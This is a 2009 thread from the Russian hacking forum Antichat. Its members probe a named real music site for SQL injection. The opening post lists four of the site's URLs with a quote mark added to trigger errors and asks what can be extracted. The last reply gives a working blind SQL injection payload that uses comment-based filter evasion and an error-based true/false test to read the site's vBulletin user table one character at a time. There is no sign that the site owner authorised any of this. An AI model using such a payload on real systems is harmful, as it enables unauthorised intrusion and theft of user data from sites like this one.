HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
Перезагрузить страницу Недоинджект !!!
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Недоинджект !!!
  #1  
Старый 06.06.2009, 20:33
ReduKToR
Постоянный
Регистрация: 05.01.2009
Сообщений: 684
С нами: 9130007

Репутация: 485


Post Недоинджект !!!
корочь проходился по форуму,случайно поставил ковычку....и фот что вышло

Цитата:
http://freshmp3.ru/showthread.php?t=137679'
Цитата:
http://freshmp3.ru/forumdisplay.php?f=9'
Цитата:
http://forum.freshmp3.ru/announcement.php?f=19'&announcementid=3'
Цитата:
http://forum.freshmp3.ru/search.php?searchid=2364696'&photoplog_searchinfo= 1'
собственно я в шоке, кто что скажет по этому сабжу?
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 06.06.2009, 20:35
ReduKToR
Постоянный
Регистрация: 05.01.2009
Сообщений: 684
С нами: 9130007

Репутация: 485


По умолчанию
тупая фильтрация? можно чтонить полезное извлечь?
 
Ответить с цитированием

  #3  
Старый 06.06.2009, 20:42
ReduKToR
Постоянный
Регистрация: 05.01.2009
Сообщений: 684
С нами: 9130007

Репутация: 485


По умолчанию
как видно по сайту, ктото пользуется F5 ))) сайт ели дышыт...
Ы
 
Ответить с цитированием

  #4  
Старый 06.06.2009, 20:50
gLuk!
Познающий
Регистрация: 28.03.2009
Сообщений: 30
С нами: 9012610

Репутация: 1
По умолчанию
ничего полезного не извлечь
 
Ответить с цитированием

  #5  
Старый 06.06.2009, 20:57
DDoSька
Постоянный
Регистрация: 05.05.2008
Сообщений: 403
С нами: 9483229

Репутация: 1160
По умолчанию
Все нормально. Это специальная защита, чтобы кульхацкер ломал дня 2 голову ...
 
Ответить с цитированием

  #6  
Старый 06.06.2009, 21:02
ReduKToR
Постоянный
Регистрация: 05.01.2009
Сообщений: 684
С нами: 9130007

Репутация: 485


По умолчанию
DDoSька,да? а ты перейди и F5 зажми =)

плохая защита
 
Ответить с цитированием

  #7  
Старый 06.06.2009, 21:26
l-l00K
Leaders of Antichat - Level 4
Регистрация: 26.11.2006
Сообщений: 237
С нами: 10240166

Репутация: 2097
По умолчанию
Слепая скуль + фильтрация, вот так можно получать данные:
Код:
http://forum.freshmp3.ru/search.php?searchid=2364696&photoplog_searchinfo=1'/**/and/**/if(53=ord(substring((select/**/5/**/from/**/vb3_user/**/limit/**/0,1),1,1)),(select/**/1/**/from/**/information_schema.columns),'')/**/and/**/1='1
В случае true будет выдавать ошибку, в случае false страницу форума
Последний раз редактировалось l-l00K; 06.06.2009 в 21:29..
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.